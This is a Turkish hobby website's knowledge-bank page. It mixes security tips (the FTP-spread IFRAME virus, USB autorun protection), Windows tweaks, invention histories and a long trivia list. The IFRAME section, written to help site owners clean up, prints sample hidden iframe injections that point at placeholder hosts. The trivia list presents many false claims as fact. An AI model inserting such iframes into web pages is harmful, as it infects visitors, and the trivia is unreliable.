>

Bugün: 21

Tıklanma: 25

Aktif :

IP Adresiniz: 3.145.93.227




İncesulu Çağrı | Yeni Şehrinize Hoş Geldiniz |

İncesulu Çağrı

<...BiLGi BaNKaMıZ..>


www.incesulucagri.tr.gg
>>> BİLGİ BANKASI<<< Aşağıdaki Bilgileri İsrarla Ve KEyifle Okumanızı Gönülden Tavsiye Edioruz....
 

Bir süredir yaygınlaşmaya başlayan ve pek çok web sitesinin olumsuz etkilendiği IFRAME Virüsü hakkında sizi bilgilendirmek istiyoruz.

IFRAME Virüsü nedir?

Virüslü bilgisayarlardan FTP girişi yapılan sitelerin index, default ve/veya tüm dosyalara zararlı bir IFRAME kodu yerleştirir. Virüs, sitenize giren kullanıcıların bilgisayarlarına virüs bulaştırmayı amaçlamaktadır.
---------------------------------------------------------------------
Zararlı IFRAME Virüsü sitelere genellikle FTP üzerinden bulaşmaktadır.
 

Nasıl bulaşır :

1. Saldırgan öncelikle güncel antivirus yazılımları ile korunmayan bilgisayarınıza bir virus bulaştırır.

2. Bilgisayarınıza Bulaştırılan virüsun amacı bilgisayarınızdaki FTP Programında şifrenin saklandığı dosyayı ve/veya ftp şifrenizi çalmaktır . FTP bilgileri çalındıktan sonra, saldırgan dilediği zaman ftp girişi yapıp, sitenizin index.*, default.* veya tüm dosyalarınızın html taglarının arasına (genellikle sayfanın sonuna) iftame veya script tagı yerleştirir.

IFRAME tagı sayfanızın html tagları arasında gizlenir. Sayfanızı ziyaret eden kullanıcılara virus bulaştırmayı amaçlamaktadır.

IFRAME Virüsü sitenizdeki php, asp veya asp.net kod açıklarından da bulaşabilir. Sitenizdeki dosya ve klasörlerin yazma izinlerinin açık olmasını kullanarak dosyalarınıza bulaşabilir.

IFRAME kod örnekleri:

<IFRAME src='http://siteadresi/index.php' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></IFRAME>

echo "<IFRAME src="http://siteadresi123" width=1 height=1 style="visibility:hidden;position:absolute"></IFRAME>";

Korunmak için yapmanız gerekenler:

1. FTP şifrenizi değiştiriniz.
2. Bilgisayarınızda güncel bir antivirüs yazılımı kullanınız.
3. FTP şifrenizi otomatik girişe ayarlamayın veya FTP girişlerinden sonra şifrenizi değiştiriniz.
4. IFRAME Virüsü sitenizdeki php, asp veya asp.net kod açıklarından bulaşmış olabilir. Bundan korunmak için kontrol panelinizden dosyalarınızın yazma izinlerini kaldırınız, sadece gerekli dosya veya klasörlerinize yazma izni veriniz. Linux sunucularımızdan hizmet alıyorsanız FTP programınızdan özellikle index.* ve default.* dosya izinlerini 444 (read/okuma) olarak ayarlayınız.

Sitelerinizi kontrol ediniz:

Sitenizdeki index.*, default.* dosyalarını bilgisayarınıza indirip html kodlarını gözden geçiriniz. Index.* ve/veya default.* dosyalarınız temiz ise virüs bulaşmamış demektir. Virüs öncelikle bu dosyalara bulaşır. Ancak yine de diğer doslarınızın güncellenme tarihlerini gözden geçiriniz.

Zararlı kod bulaşmış dosyalarınızı temizleyiniz.

IFRAME Virüsü bulaşan siteler Google arama motoru ve Firefox tarayıcısı tarafından saldırgan site olarak sınıflandırılır. Bu sitelere giriş izni verilmez.

Siteniz Google'da saldırgan site olarak listeleniyorsa:

IFRAME Virüsü bulunan site google arama sonuçlarında saldırgan site olarak gösterilir. Bunu düzeltmek için şunları yapabilirsiniz:

1. http://www.google.com/webmasters/tools/ adresine giriş yapınız.
2. Gmail hesabınız veya yeni bir hesap ile giriş yapınız.
3. Sitenizi ekleyerek doğrulayınız.
4. Sitenizi doğruladıktan sonra, kötü amaçlı yazılım uyarısına tıklayarak, zararlı kodların bulaştığı sayfaları görün ve sayfalarınızdan zararlı kodları temizleyin.
5. Sol menüden “Siteyi tekrar değerlendirme” seçeneğine tıklayın …
6. Sitenizde bulunan zararlı kodları kaldırdığınızı ve tekrar değerlendirmelerini rica ediniz.
7. Siteniz birkaç gün içinde saldırgan site olmaktan çıkarılacaktır !

IFRAME Virüsü hakkında bilgi için:
http://www.google.com.tr/search?sourceid=navclient&aq=8&oq=IFRAME+&hl=tr&ie=UTF-8&rlz=1T4GGLL_trTR333TR333&q=IFRAME+vir%c3%bcs%c3%bc
 







Usb disk Virüslere karşı korumalı hale nasıl getirilir?













Bugünler ortaya çıkan ve usb disklerle yayılan virüsler 2 şekilde bilgisayarlara yayılırlar.

Yöntem 1: Virüs Usb disk üzerine bir "autorun.inf" dosyası oluşturur. Daha sonra çalıştırılabilir formattaki bir yada bir kaç dosyayı usb diskin kök alanına kopyalar ve bu dosyaları gizler. Bu usb disk herhangi bir bilgisayara takıldığında Windows autorun.inf dosyasını varsayılan olarak otomatik olarak çalıştırır. autorun.inf dosyası virüs tarafından değiştirilmiş yada yeniden oluşturulmuştur ve zararlı çalıştırılabilir dosyanın çalışması için satırlar içermektedir.

Yöntem 2: Bu yöntemde Virüs USB üzerindeki mevcut klasörleri gizler ve kendisini bir program olarak klasör ikonu ile diske kopyalar. Kullanıcı dikkatsizlik yada bilgisizlikle bu klasör görünümündeki dosyayı tıkladığında virüs sisteme bulaşır.

Görüldüğü gibi 1.Yöntem herhangi bir kullanıcı etkileşimi gerektirmediği için daha tehlikelidir. Kullanıcının diski usb porta takması yeterlidir.
Kullanıcı diski usb porta taktığında shift duşuna basarak autorun.inf dosyasının çalışmasını engelleyebilir ama bu yöntem her zaman akla gelmeyebilir veya unutulabilir.


-----------------------------------------------------------------------

Piyasada bulunan USB Disk Security gibi yazılımların belli bir noktaya kadar koruma sağlar. Hatta bu programın Brontok virüsü karşısında hiç bir işe yaramadığına bizzat şahit oldum.
Kaldıki bu programi veya benzerlerini, usb diskinizi taktığınız her bilgisayara yüklemeniz pek olanaklı değildir.

Öncelikle belirtmeliyim ki FAT veya FAT32 dosya sistemi üzerine yapılan çözümler hic bir zaman güvenli değildir.
Bu yöntemlerden biri örnegin diskin root'u üzerinde autorun.inf dosyası oluşturup bu dosyayı sistem, gizli ve sadece okunabilir yapmak. Malesef bu yöntem kolaylıkla virüs tarafından etkisiz hale getirilebilir.

NTFS dosya sistemi ile USB diski virüslere karşı korumak
Bu işleme başlamadan önce USB diskinizde bulunan tüm dataları bir yere yedekleyin. Format işlemi diskinizdeki tüm dosyaları silecektir.


Anlatım Windows XP üzerinden yapılmıştır. Windows Vista ile bu aşamalar çok daha basitçe yapılabilir.

1.Diskinizi NTFS olarak formatlayın. Bu işlemin nasıl yapıldığını bilmiyorsanız buradan bilgi alabilirsiniz.USB pen disk nasıl NTFS olarak formatlanır?
2. Formatlama işlemi bitince USB diskinize Guvenli adiyla bir klasör açın.

3. Bilgisayarım ikonunu iki kere tıklayın ve USB diskinizin özelliklerine girin

4. Güvenlik sekmesini tıklayın. Güvenlik sekmesini göremiyorsanız basit dosya paylaşım özelliği açık demektir. Bunu kapatmalısınız..

5. USB diskinizin kök izinlerini yukarıda gördüğünüz gibi ayarlayın. Tamamı tıklayın.

6. Daha önceden oluşturduğunuz Guvenli klasörünü sağ tuşla tıklayın ve özelliklerine girin. Güvenlik sekmesini tıklayın.

7. Guvenli klasörünün ayarlarını yukarıdaki gibi ayarlayın. Tamam'ı tıklayın.

Bu şekilde USB diskin root alanına herhangi bir yazma erişiminin önüne geçebilirsiniz.
Dosyalarınızı artık Guvenli klasörünün altına kopyalayabilirsiniz. Dilerseniz Guvenli klasor sayısını arttırabilirsiniz yada Guvenli klasoru ana klasor olarak kabul edip dosyalarınızı ve klasörlerinizi Guvenli klasoru altında oluşturabilirsiniz.






 

   
 
Windows 7 Logosu Nasıl Değiştirilir (Resimli)

Windows 7 hayatımıza resmen girmemesine rahmen söylentileri bile hayatımızı kolaylaştırmaya yetti. Kolay kullanım, yüksek performans ve az bellek tüketimi ile kullanıcıya hitap eden işletim sistemi kullanıcılara her türlü kendisini sevdirmeye çalışıyor.

Özellikle açılışta çıkan windows 7 logosunu ister manuel olarak ister programla değiştirebiliyorsunuz. O zaman size nasıl değiştireceğiniz hakkında size bilgiler verelim.

Manuel:

İnsanlar her zaman daha güzel arkaplan resmi ister. Bu anlamda bazı kullanıcılar elle yapılan işlemlerin daha sağlıklı olacağı kanısında. O zaman bizde size elle nasıl değiştirileceğini anlatacağız:

1. Kayıt Defteri Düzenleyicisini ( Win tuşu + R ve ardından regedit yazarak ) kayıt defterine girin.

2. OEMBackground adlı Anahtara Gidelim Sırayla Aşağıdaki adımları takip edin:

HKLMSoftwareMicrosoftWindowsCurrentVersionAuthenticationLogonUIBackground

OEMBackground Çift tıklayın ve oradaki değeri aşağıdaki gibi değiştirin.

3. Şimdi OEM Özgeçmişini aktif ettiniz. Şimdi

%windir%system32oobeinfobackgrounds windows yoluna gidiyoruz. Buradaki %windir% bizim windows'un kurulu olduğu dizin yoludur. Genelde biz C: olarak düzenliyoruz.

Genede info kılasörü altında backgrounds klasörü bulunur. Eğer yoksa hemen bir tane backgrounds adında klasör oluşturuyoruz. İçine 256 KB adında bir tane JPG formatlı resim yükleyeceksiniz. Buraya dikkat resminizin adı şu olması gerekmektedir. Eğer içinde resim varsa onun adını yeniden adlandırın.Dosyanın adı backgroundDefault.jpg şeklinde olacaktır.

Program Kullanımı :


 

Windows 7 Logon Changer Download

Check Logon adındaki Logon Changer adlı programı indiriyoruz. Saten program arayüzündeki resiminde görülüyorki kolayca arkaplanı değiştirebiliyoruz.

 


 

Windows 7 Logon Screen Rotator Download

Bu programı ise mevcut arkaplanımızın yerini ayarlamamıza yarayacaktır.







   
 
Youtube "An error occured, please try again." Sorunu Çözümü

 

 

Daha geçen hafta yazmış olduğumuz

 

 

 http://www.teknoloji.me/download-48.html

Youtube.exe dosyasını çalıştırın kurulumu normal bir şekilde gerçekleştirin. Sonrada indirdiğiniz dosyayı silebilirsiniz. Tarayıcınızı  (Firefox, İnternet Explorer, Safari, Opera veya Chrome) kapatınız ve yeniden başlatınız www.youtube.com artık girebilirsiniz.

Dosya Analiz =>

 

makalemizde Youtube'nin yasağı hakkında bahsetmiştik. Ve çözüm yollarının henüz için bulunmadığını söylemiştik ki aradan bir hafta geçmeden Bilgisayar ustalarımız çözümünü buldular bile..

 

Youtube'ye daha geçen haftaya kadar nasıl bir çözüm yolu bulabilceğimizi tartışırken bugün elimize geçen bir kaynak ile Youtube'nin sorununu ortadan kaldırıyoruz...





Ve İşte Makineler....>

   
 
Hesap Makinası

İskoçyalı John Napier çarpma - bölme ve toplama - çıkarma arasında bağlantılar kurdu. Kurduğu bu bağlantılar mekanik hesap yapma makinalarının temelini attı.

Uzun yıllar boyunca insanlar hesap makinasını Blaise Pascal'ın icat ettiğini düşündüler. Aslında ilk icadı onun yapmadığı, ondan 18 yıl önce hesap yapan bir saat icad eden  Wilhelm Schickard'ın yaptığı ortaya çıktı. Alman tarihçi Franz Hammer tarafından bu konuda pekçok belge bulundu. Schickard'ın icadı daha önce bulunmasına karşın Pascal'ın icadından daha gelişmiş özelliklere sahipti. Toplama, çıkarma, çarpma ve bölme işlemlerini aynı anda yapabiliyordu.1957 yılında belgeler ortaya çıkarıldı ve hesap makinasının gerçek mucidi olarak Schickard tarihe adını yazdırdı..

1820 yılınca Charles Xavier Thomas de Colmar Fransa'da ilk ticari hesap makinasını üretti. Günümüzde kullanılan hesap makinaları o zamanlar kullanılanlardan çok farklıdır. Mekanik sistemler yerine günümüzde mikroişlemcili hesaplayıcılar kullanılıyor.Mikroişlemcinin mucidi olan Jack Kilby bu işlemcileri kullanarak elektronik hesap makinalarını piyasaya sürdü. 1967 yılında ise birkaç arkadaşı ile birlikte ilk portatif hesap makinasını tanıttılar. Kilby ve Japon firması olan Canon 3 yıl sonra ilk ticari cebe sığan hesap makinalarını piyasaya sürdüler. Cebe sığacak kadar küçük olan bu cihazlara Pocketronic ismini vermişlerdi.

Clive Sinclair İngiltere'de 1972 yılında Sinclair Executive adında bir hesap makinası icat etti. Pocketronic'ten daha küçük ebatlardaydı. Bazıları ilk cebe sığan hesap makinası olarak bunu kabul ediyorlar. İki cihaz arasında teknik farklılıklar vardı. Sinclair sonuçları LED bir ekranda gösteriyordu ancak Pocketronic ısıya duyarlı kağıda yansıtıyordu.



YALAN MAKİNASI :
Yalan Makinası

Televizyondan veya gazetelerden, bizde pek olmasa da ABD'de polis sorgulamalarında gerektiğinde bir sanığın yalan makinesine bağlanarak, doğruyu söyleyip söylemediğinin kontrol edildiğini görmüş veya okumuşsunuzdur. Hatta ABD'de FBI veya CIA gibi çok önemli devlet görevlerine alınmaya aday memurlara da bu test uygulanmaktadır. 

Yalan testine sokulacak kişilerin vücuduna 4-6 adet sensör bağlanır ve 'Polygraph' denen bir alet ile bu sensörlerden gelen veriler kayıt altına alınır. Bu veriler sürekli olarak dönen bir kolun kağıt üzerine çizdiği çember şeklindeki grafikleri oluşturur. Sensörler test yapılan kişinin.

* Nefes alış hızı.
* Nabzı.
* Kan basıncı (tansiyonu).
* Terleme miktarı.

gibi verileri kayıt altına alır.Bazı çeşitlerinde insan vücudunun o anki hareketleri bile kayıt altına alınır.

Test edilen kişi cihaza bağlandıktan sonra kişinin normal değerlerinin tesbit edilmesi gerekir. Bu nedenle kişiye basit birkaç soru sorulur ve daha sonra karşılaştırılmak üzere kaydı alınır. Daha sonra doğruluğu test edilecek olan sorular sorulur ve bunlarında kaydı tutulur.
 
Test yapılırken orada bir uzman bulundurulur ve bu uzman sürekli olarak grafikleri takip eder. Sorulan sorularda değişen grafiklere bakarak nerede yalan söylenildiğini tesbit eder. Kalp atışının hızlanması, tansiyon yükselmesi ve terleme gibi etkenler yalan söylemenin belirtileridir. İyi bir uzman bu belirtiler ışığında yalan söylenilen anı hemen tesbit edebilir.
 
Tüm bu tesbit ve tecrübelere rağmen yalan makinasından elde edilen veriler kesin olarak kabul edilmez. İnsanların soruları yorumlara şekilleri veya yalan söylerken verdikleri tepkiler değişiklik gösterebilir. Bu yüzden mükemmel değildir.






   
 
Televizyon

John Logie Baird bir rahatsızlık nedeni ile sağlığına iyi geleceğini düşünerek Batı Hint Adaları'na tatile gitti. 1922 yılında İngiltere'ye geri döndü. Hastings'e yerleşen Baird burada birkaç buluş denemesinde bulundu, sonuç hüsrandı. Daha sonraları aklında görüntüyü iletme düşüncesi gelişmeye başladı. Sağlık sıkıntıları devam ediyordu ve bunun üzerine para sıkıntısıda eklenmeye başladı. Alman Paul Nipkow'un buluşu olan optik bir tarayıcı diskini geliştirip, mekanik bir televizyon alıcı-vericisi geliştirdi.26 Temmuz 1923'te patent başvurusunda bulundu. 1924 yılında patent onaylandı. Aradan geçen zamanda buluşunu geliştirmek için değişik yöntemler denedi. Bisküvi kutusu, örgü şişeleri gibi değişik malzemeler kullanarak çalışan bir televizyon elde etmeyi başardı. 1926 yılında Londra'da Kraliyet Bilim Akademisi'nde ve Oxford sokağında halka buluşunu tanıttı.

Bu çalışmalar esnasında birbirlerinden habersizce elektronik televizyonlar üzerinde çalışan mucitler vardı. Görüntü Çözümleyici adı altında patenti alan Farnsworth elektronik televizyonlarda görüntü gösterimini başaran ilk kişi oldu. Günümüzde kullandığımız televizyonların temelini ise Zworykin'in icadı olan katodik ışın alıcı-vericisidir. Tüm mucitler buluşlarının sistemini daha eski buluşlara dayandırıyordu. Zworykin 1938 de bu sistemlerin patentini aldı ve çağdaş tv lerin babası oldu.

Başlangıç olarak tv yayınları iki sistem üzerinde yapılıyordu. Mekanik ve Elektronik sistemlere yayın dönüşümlü olarak BBC tarafından sağlanıyordu.Şubat 1937 itibari ile mekanik sistemlerden vazgeçilip tamamen elektronik tv sistemine geçildi
.





 
 
Notebooklarda en sık karşılaştığımız sorunlar

Bir Bilgisayar tamircisi olarak firmamıza gelen ilk 100 sorunlar içerisindeki en sık karşılaştığımız sorunları listelemek istedik.
  • Notebook anakart sıvı teması
  • Notebook bios yazılımı bozulması
  • Lcd ekran kırlması, ölü pixel oluşumu
  • Lcd ekran inverter bozulması
  • optik okuyucu, optik sürücü Cdrom, Dvdrom, dvd combo, Dvd-Writter, Dvdrw multidrive okuma, yazma arızası
  • lcd kablo kırılması, bozulması
  • notebook adaptörü bozulması
  • notebook ekran menteşe kırılması
  • notebook ekran kartı arızası
  • notebook işlemci arızası
  •  notebook ram yuvası bozulması ve değişimi
  •  notebook harddsik anakart bağlantı noktasının arızalanması
  •  notebook harddisk değişimi
  • Usb, Seri, Paralel, lpt port, Network, lan, Ses, Pcmci vs portların arızalanması
  •  notebook türkçe klavye takılması, İngilizce klavyenin türkçe klavye yapılması
  •  notebook şifresi kırılması, Bios şifresi kırılması, şifre çözülmesi
  •  notebook ekran floresan arızası
  •  notebook speaker arızası
  •  notebook harddisk yedekleme,  notebook bilgi yedekleme
  •  notebook işletim sistemi kurulumu (lisanssız yazılımlar kesinlikle yüklenmemektedir)
  •  notebook sürücülerinin yüklenmesi, güncellenmesi
  •  notebook driverlerinin yüklenmesi, güncellenmesi
  •  notebook 'un üzerine su, çay, kahve vb gibi sıvı madde dökülmesi
  •  notebook hiç açılmıyor
  •  notebook hiç çalışmıyor
  •  notebook ekran ışığı az
  •  notebook ekran ışığı zayıf
  •  notebook reset atıyor
  •  notebook ekranında çizgiler var
  •  notebook lcd ekranında çizgiler oluştu
  •  notebook harddiski bozuldu
  •  notebooktaki bilgilerim silindi
  •  notebook bilgi kurtama data kurtarma
  •  notebook'a format atmak
  •  notebook'un işletim sistemi açılmıyor





   
 
Dünya'nın en ilginç bilgileri    






..OKUMANIZI ISRARLA TAVSİYE EDİYORUM...

* Kendi dirseğini yalamanın imkansız olduğunu,
Ördeğin vakvaklamasının yankı yaratmadığını ve bunu kimsenin açıklayamadığını,

* Dünyadaki fotokopi makinelerinde meydana gelen arızaların %23 ünün, makinenin üstüne oturup kendi popolarının fotokopisini çekmek isteyen insanlar sayesinde meydana geldiğini

* İdrarın zifiri karanlıkta parladığını

* Eğer çok şiddetli hapşırırsan, kaburgalarından birini kırabileceğini

*Hapşırmayı engellemeye çalışırsan, başındaki veya boynundaki damarlardan birinin yırtılabileceğini ve ölebileceğini

*Hapşırdığın sırada gözlerini açık tutmaya çalışırsan, yerlerinden fırlayabileceklerini

*Domuzların vücut yapılarından dolayı hiçbir zaman başlarını yukarı kaldırıp gökyüzüne bakamadıklarını

*Dünya nüfusunun %50 sinin hiç telefonla konuşmadığını

Farelerin ve atların kusamadıklarını

*1 saat süreyle kulaklıkla birşey dinlemenin kulaktaki bakteri sayısını %700 arttırdığını

*Çakmağın kibritten önce bulunduğunu

*Parmak izleri gibi dil izlerinin de her insan için benzersiz olduğunu

*Bu yazıyı okuyan insanların %75 inden fazlasının, dirseklerini yalamaya çalışacaklarını

*Günışığından daha fazla yararlanmak için saat uygulamasını Benjamin Franklin başlatmıştır.

*Bir okyanusun en derin yerinde, demir bir topun dibe çökmesi bir saatten uzun sürer.

*Bugüne kadar ölçülmüş en büyük buz dağı, 200 mil uzunluğunda ve 60 mil genişliğindedir ve Belçika'dan daha büyük bir yüzölçümüne sahiptir.

*Bugüne kadar kaydedilmiş en büyük dalga, 1971 yılında Japonya'nın ishigaki Adası'nda 85 metre yüksekliğine ulaşmıştır.

*Acık bir gecede, çıplak gözle iki bin ayrı yıldızı görmek mümkündür.

*Sahra çölündeki Tidikelt kasabasına on yıl boyunca hiç yağmur yağmamıştır.

*Başkan John F. Kennedy, yirmi dakikada dört gazete okuyabilirdi.

*Mumyaların ayak parmakları tek tek sarılarak mumyalanmıştır.

*Dünyadaki ilk telefon rehberinde sadece elli isim yer almıştı.1878 yılının şubat ayında Connecticut New Haven'da yayımlanmıştı.

*Yataktan düşerek ölme olasılığı iki milyonda birdir.

*Ünlü çizgi film kahramanı Temel Reis, 1919 yılında Elzie Crisler Segar tarafından yaratıldı.

*İlk çamaşır makinesi 1907 yılında Hurley Machine Co. tarafından pazarlandı.

*Ünlü besteci Beethoven'in son bestesini, sağır olarak yaptığını...

*Paris'teki Versailles Sarayı'nın 1300 odası olduğunu ve hiç tuvaletinin olmadığını...

*Bir çift sineğin sadece nisan-mayıs aylarında bıraktıkları yumurtaların tamamından sinek çıksa idi, dünyayı 14 metre kalınlığında bir sinek tabakası kaplayacağını...

*Eyfel kulesinin yapımında toplam 6400 ton ağırlığında 18.100 adet demir parçası kullanıldığını...

*Süleymaniye camiinin 4 minaresi olmasının sebebinin, Kanuni'nin İstanbul'un fethinden sonraki dördüncü padişah; bu dört minaredeki on şerefenin de Osmanlının onuncu padişahı olduğunun bir işareti anlamına geldiğini...

*Bir insandaki toplam damar uzunluğunun 150 bin km. ve dünya ile güneş arasındaki mesafenin de 150 milyon km. olduğunu...

*Osmanlı sultanlarının ve bazı alimlerin başlarındaki kavukların, kefenlerinden oluştuğunu, sık sık ölümü hatırlayıp ona göre karar verdiklerini, ayrıca öldükleri zaman hemen başlarındaki kefenle defnedildiklerini...

*Bir futbolcunun topa her kafa vuruşunda, beyninden 1000(bin) hücrenin öldüğünü...

*Ortalama bir insanda 30.000-100.000 adet saç olduğunu, her gün yaklaşık 100 tanesinin döküldüğünü...

* İnsan vücudunun her 7 yılda -ölen hücrelerin yerine yenisi gelerek- tamamen yenilendiğini...

* Amerikan halkının %60'ının ülkelerini, dünya haritasında bulamadıklarını...

* Dünyaya her yıl düşen yağış miktarının eşit olduğunu...

* Beşiktaş kulübünün kuruluşundaki Kırmızı-Beyaz renklerinin, Başkan savaşındaki malubiyetten sonra Siyah-Beyaz olarak değiştirildiğini...

* Galatasaray kulübünden, yıllar önce bir grubun ayrılıp 'Güneşspor' u kurduğunu...* Fenerbahçe Kulübünün ilk adının 'Siyah Çoraplılar' olduğunu...

* İbni Sina'nın göz ameliyatı yaptığını...

* Kirpiler suda yüzebildiğini.

* Salatalığın yüzde 96'sı su olduğunu.

* Sivrisineklerin 47 tane dişi vardır.

* Coca-Cola'nın orijinal rengi yeşildir.

* Çocuklar baharda daha fazla büyüyor.

* Sigara çakmağı kibritten önce bulundu.

* Sümüklüböceklerin dört tane burnu vardır.

* Uranüs çıplak gözle görülen bir gezegendir.

* Dünyadaki tavuk sayısı insanlardan fazladır.

* Salyangozların 25.000 civarında dişi vardır.

* Bir doğumda yaşayan en çok çocuk sayısı 6.

* Bir kadının sahip olduğu en fazla çocuk sayısı 69.

* İlk kule saati 1404 yılında Moskova'da yapılmıştır.

* Hawaii alfabesinde sadece 12 harf bulunmaktadır.

* Timsahlar daha derine batabilmek için taş yutarlar.

* Bukalemunların dilleri,vücutlarından iki kat uzundur.

* Dünyadaki ısı 1900 yılından itibaren 0.7 derece arttı.

* Uzaya ilk uçan kadın Valentina Tereşkova'dır. (1962)

* Günümüzde, evlenenlerin yüzde ellisi boşanmaktadır.

* Dünyada insan başına düşen karınca sayısı 1 milyondur.

* Pisagor sokak dövüşü spor dalında olimpiyat şampiyonu

olmuştur.

* Kedi ve köpekler de insanlar gibi solak yada sağak olabilirler.

* "Düello" uygulaması hala Uruguay ve Paraguay'da devam etmektedir.

* (şuan yaşayan) 135 yaşındaki Ali Muhammed Hüseyin, yeryüzünün en yaşlı insanı olarak biliniyor.

* Atların kırılan kemikleri geri kaynamaz. Ayağı kırılan atların hayatı da biter.

* Sağ elini kullananlar sol elini kullananlardan ortalama 9 yıl daha uzun yaşıyor.

* Uyurken, TV izlerken olduğundan iki kat daha fazla kalori harcarız.

* Stockholm kraliyet kütüphanesinde muhafaza edilen "Şeytan İncili" kitabının ağırlığı 350 kg.dır.    

* Taze kakao içinde bulunan sıvı, kan plazması yerine kullanılabilir.

* ABD'de Coco-Cola şoförlerinin kimyasal madde taşıma lisansı olması gerekiyor.

* Dünyanın uydusu ayın hacmi, Pasifik Okyanusu'nun hacmi ile aynıdır.

* Maymunlar her yıl uçak kazalarından daha fazla insan ölümüne neden oluyor.

* Dünya ahalisi gece gündüz satranç oynasa ve her saniyede bir hamle yapılsa, satrançta tüm oyunları tecrübeden geçirebilmek için asırlara ihtiyaç vardır.

* Satranç tarihinin en uzun oyunu 1950 yılında Mardel Plato'da yapılmış dünya satranç turnuvasında gerçekleşmiştir. Pilkin ve Çernyak arasında yapılan bu maç 22 saat devam etmiş ve 191. hamle sonrası berabere bitmiştir.

* Dünyanın en kokulu camisi Tebriz şehrindedir. Mescit inşa edilirken çamuruna misk kokusu ilave edilmiştir ve 600 sene geçmesine rağmen hala mescit misk kokmaktadır.

* Dünyada en tehlikeli hayvan sivrisinektir. Çünkü insanların ölümüne en fazla sebep olan hayvandır.

* En eski alfabe Suriye'nin Akdeniz sahilindeki Lattakiya limanı yakınlığında yapılan kazım sonucu bulunmuştur. Alfabe 32 harften oluşur.

* Güneş yerden 149 milyon 600 bin km. mesafededir.Hacmi yerden 1300 defa büyüktür.

* Rusya'da yaşamış olan Vasilyev'in iki karısından 87 çocuğu olmuştur. 75. yaş gününde (1782) onun yanında 83 çocuğu bulunmuştur.

* Bugüne kadar yaşamış en ağır kişi, 635 kiloya ulaşan Washingtonlu Jon Brower Minnoch.

* Bir kişinin yaşayabildiği en yüksek vücut ısısı 46.5 derecedir. Normal değer ise 35 - 37'dir.

* ABD'de, yaşları 20 ile 29 arasında olan zenci erkeklerin üçte biri ya hapiste yada gözaltında tutulmaktadır.

* Değerli taşların çoğu birkaç elementten oluşur,sadece pırlanta tamamen karbondan oluşur.* Dünyanın en hızlı büyüyen bitkisi Bambu bir günde 90 cm. kadar uzuyor.

* Erkeklere yıldırım çarpması olasılığı kadınlara göre 6 kat daha fazladır.                                        

 * En büyük kitap XVII asırda yayınlanmış ve Berlin kütüphanesinde bulunan coğrafya atlası sayılır. (yüksekliği 2 metre, eni 1 metre)

* 1707 - 1782 arasında yaşamış bir Rus kadının; 16 ikiz, 7 üçüz ve 4 dördüzü, 1725 - 1765 arasında dünyaya getirdiği belirlendi.

* Ünlü Arap şairi Kahire üniversitesi profesörü Şeyh Muhammed Abdul İbrahim 150 yaşında vefat etmiştir. 105 sene bekar yaşamış. 105 yaşında evlendikten sonra 5 çocuğu olmuştur.

* Atakama çölüne 400 seneden beri yağmur yağmamaktadır. Yağan yağmur da havada buharlaştığından yere düşmemektedir.

* Kunter, 1988 yılında Fenerbahçe formasıyla Hilalspor karşısında 153 sayı atarak rekor kırarken, ilk yarıda da attığı 81 sayıyla bir devrede en fazla sayı üreten basketçi olarak da tarihe geçti.

* Zürafanın ses telleri yoktur.

* Yunuslar bir gözlü açık uyurlar.

* Develerin 3 tane kaşı vardır.

* Bir sineğin hızı saatte 8 km.dir.

* Zürafanın dili 35 cm. kadardır.

* Istakozların kanı mavi renktedir.

* Kelebekler ayaklarıyla tat alırlar.

* Fil zıplayamayan tek memelidir.

* Sığırların 4 tane midesi vardır.

* Kangurular geri-geri yürüyemezler.

* Kediler şeker tadını ayırt edemezler.

* Atlar 1 ay kadar ayakta kalabilirler.

* Fare, bir deveden bile daha uzun süre susuz kalabilir.

* Timsahlar dilini dışarı çıkaramazlar.

* Zebralar beyaz üzerine siyah çizgilidir.

* Baykuş mavi rengi görebilen tek kuştur.

* 2600 kadar kurbağa cinsi var.

* Yetişkin bir ayı at kadar hızlı koşabilir.

* Sadece domuzlar güneşten yanabilir.

* Deniz kobrası dünyanın en zehirli yılanıdır.

* Bir karıncanın koku alma yeteneği en az bir köpeğinki kadar

gelişmiştir.

* Hayvanların en büyüğü mavi balinadır. (uzunluğu 33 m., ağırlığı 190 t.)

* Sadece dişi sivrisinekler ısırır.

* Bir devekuşunun gözü beyninden büyüktür.

* Deve deniz suyu içebileceği gibi bir defada 250 litre su da içebilir.

* Bir insanın su ve yemek olmadan yaşayabildiği en uzun süre 18 gündür.

* Karınca kendi ağırlığının 50 katını taşıyabilir.

* Çekirgenin kulağı dizindedir.

* Yeryüzünün en sıcak yeri Afrika'da El-Ezize bölgesidir. (Gölgede 58 derece)

* Yeryüzünün en soğuk yeri Antarktika’da Vostok (Rusya) bölgesidir. (- 88.3 derece)

* Uzaya ilk defa 12.04.1961 tarihinde Yuri Gagarin uçtu.

* İlk defa aya 21.07.1969 tarihinde Neil Armstrong ayak bastı.

* Eski Roma'da şişeden hazırlanmış kaplar altın ve gümüşden daha değerli sayılırlardı.

* Dünyada en eski üniversitesi 989 yılındaki Mısır'ın El-Ezher üniversitesidir.

* Dünyanın en genç üniversite öğrencisi 11,5 yaşındaki Ganesh Sittampalam'dır.

* İlk yeraltı tünel 1 km. uzunluğunda olmuş ve bundan 4 bin yıl önce Irak'ta Fırat nehrinin altından geçmişdir.

* Paraguay dünyanın en yağışlı bölgesidir. Bölgede yağmur neredeyse ara vermez.

* Dünyada 2000 e yakın halk ve 3000 e yakın dil var.

* Tarih boyu yapılmış savaşların en uzunu İngiltere ile Fransa arasında olmuştur. Bu savaş 115 sene(1338-1453) sürmüştür.

* İnsanın saçında 102 bine yakın, derisinde ise 20 bine yakın kıl olur. Kıllar her gün 0.35-0.40 mm. uzar.

* İngiltereli Thomas Korne 207 sene yaşamıştır.

* Dünyanın en uzun ömürlü insanı Çin'de 253 sene yaşamıştır. (1680-1933)

* Güneş dünyadan 330,330 kat daha büyüktür.

* Bir köstebek sadece bir gecede 90 m. tünel kazabilir.

* Bir hamam böceği kafası koptuktan sonra açlıktan ölmeden 9 gün yasayabilir.

* Eski Mısırlılar taştan yapılmış yastıklarda uyurlardı.

* Bir hipopotam ağzını açarsa 120 cm boyunda bir insan onun içine rahatça sığabilir.

* Boğalar renk körüdür, bundan dolayı matadorun elindeki beze saldırırlar; rengi ne olursa olsun.

* Ortalama bir buzdağı 20,000,000 ton gelir.

* Zehirli oklu kurbağada 2,200 insanı öldürebilecek kadar zehir bulunur.

* İnsan vücudundaki en güçlü kas dildir.

* Hapşırdığımız zaman kalbimizde dahil olmak üzere bütün vücut fonksiyonlarımız bir an için durur.

